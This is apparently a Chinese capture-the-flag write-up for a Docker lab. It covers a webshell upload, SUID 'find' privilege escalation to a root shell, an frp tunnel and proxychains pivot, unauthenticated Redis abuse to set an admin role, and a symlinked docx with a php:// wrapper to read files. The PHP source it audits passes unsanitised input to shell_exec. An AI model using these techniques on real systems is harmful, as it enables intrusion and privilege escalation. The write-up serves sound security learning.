翻斗幼儿园历险记
一、搭建:
docker-compose up -d 运行那个docker-compose.yml文件即可
打开127.0.0.1:32777就运行好了
2、打法
文件上传
前端过滤,bp抓包改后缀即可
盲猜一波,上传的目录是/uploads下面
哥斯拉连上马后,发现没有权限
提权看看
查找具有root权限的命令
find / -perm -u=s -type f 2>/dev/null
发现find具有这个权限,就可以用find命令提权
find / -exec /bin/bash -p \;
提权后,发现nmd是个假flag
这会大概猜到了是个内网题,frp搭个隧道看看
启动下vps的服务端
客户端给frpc权限
客户端运行frp
查一下ip
配个代理就可以访问内网了
router scan扫一下内网其他机器
记得routescan配置代理
扫到存活的机器了
进去看一下
注册个号
要我算一万次不可能
看源码
在admin.php里面
艹了,要admin权限
访问一下
但给的源码中有redis的文件,看下能不能redis未授权
内网题,得用proxychains设置我的vps代理打redis
给kali安装代理proxychains
sudo apt install proxychains
配置代理
sudo vim /etc/proxychains.conf
给一个命令实现代理,只要在这个命令前面加上proxychains这个命令就好
proxychains redis-cli -h 172.11.0.3 -p 6379
成功连上内网的redis
看见我的角色只是个noBody
想办法把我的role角色写成admin
set user:test eyJwYXNzd29yZCI6InRlc3QiLCJyb2xlIjoiYWRtaW4ifQ==
这会拿test账号密码admin登录
再访问admin.php
这题考的就是个word文档上传
其实word文档本质上就是个压缩包,你用bandzizip都可以把它解压成几个文件
审计一下admin.php
<?php
require_once 'common.php';
$user = getCurrentUser();#调用 getCurrentUser() 函数,获取当前用户的信息
if (!$user || $user['role'] !== 'admin') {header('HTTP/1.1 403 Forbidden');die('<h1 class="text-light">403 Forbidden - 权限不足</h1>');
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {define('REL_FILENAME', 'word/_rels/document.xml.rels');#定义一个常量 REL_FILENAME,其值为 'word/_rels/document.xml.rels'。这是 Word 文档中存储文档关系(如图片引用关系)的文件路径。function hellYeah($code, $msg): void{http_response_code($code);die("<div class='neu-card'><div class='alert alert-danger'>$msg</div></div>");}if (!isset($_FILES['input'])) hellYeah(400, '请选择要上传的文件');if ($_FILES['input']['error'] !== UPLOAD_ERR_OK) hellYeah(500, '文件上传错误');if ($_FILES['input']['type'] != 'application/vnd.openxmlformats-officedocument.wordprocessingml.document')#查文件类型是否为 .docx(通过 MIME 类型检查)。hellYeah(400, '请上传Word文档 (.docx)');$zip = new ZipArchive();#创建一个 ZipArchive 对象,用于处理 .docx 文件(因为 .docx 文件本质上是一个 ZIP 包)。$zipFilename = $_FILES['input']['tmp_name'];#获取临时文件名if ($zip->open($zipFilename) !== true || $zip->locateName(REL_FILENAME) === false)hellYeah(400, '无效的Word文档格式');#检查是否包含 word/_rels/document.xml.rels 文件,以验证是否为有效的 Word 文档$relsDom = simplexml_load_string($zip->getFromName(REL_FILENAME));#使用 simplexml_load_string 函数解析 document.xml.rels 文件的内容。if ($relsDom === false) hellYeah(400, '文档关系表解析失败');$tmpDir = exec("mktemp -d --tmpdir=/tmp");#使用 mktemp 命令创建一个临时目录(存储提取的图片)shell_exec("unzip $zipFilename \"word/media*\" -d \"$tmpDir\"");#使用 unzip 命令从 .docx 文件中提取 word/media 目录下的所有图片文件到临时目录function cleanup($tmpDir): void{shell_exec("rm -rf $tmpDir");}register_shutdown_function('cleanup', $tmpDir);@chdir("$tmpDir/word/media");#将当前工作目录切换到 word/media。ini_set('open_basedir', '.');#设置 open_basedir 限制,确保只能访问当前目录。$messages = [];foreach($relsDom->Relationship as $rel) {#遍历 document.xml.rels 文件中的 <Relationship> 元素。if($rel['Type'] == 'http://schemas.openxmlformats.org/officeDocument/2006/relationships/image') {if (!str_starts_with($rel['Target'], 'media/'))#如果目标路径以 media/ 开头,提取文件名并读取文件内容。continue;$filename = substr($rel['Target'], 6);$file = @file_get_contents($filename);if ($file === false)break;if ($result = @base64_encode($file))$messages[] = $result;}}system("rm -rf $tmpDir");
}
这个的思路就是直接创建个docx文档,然后用bandizip解压
接着把documengt.xml.rels文件改了,用php伪协议读文件
然后,再创建个软链接mdia指向根目录
接着把所有文件打包成zip
再把这个zip文件改为docx文档,上传即可
总体思路就是,利用软链接把工作目录media目录指向根目录,因为题目会提取documengt.xml.rels文件里面的图片至media,还会解析,所以documengt.xml.rels文件里的图片改为php伪协议来读取flag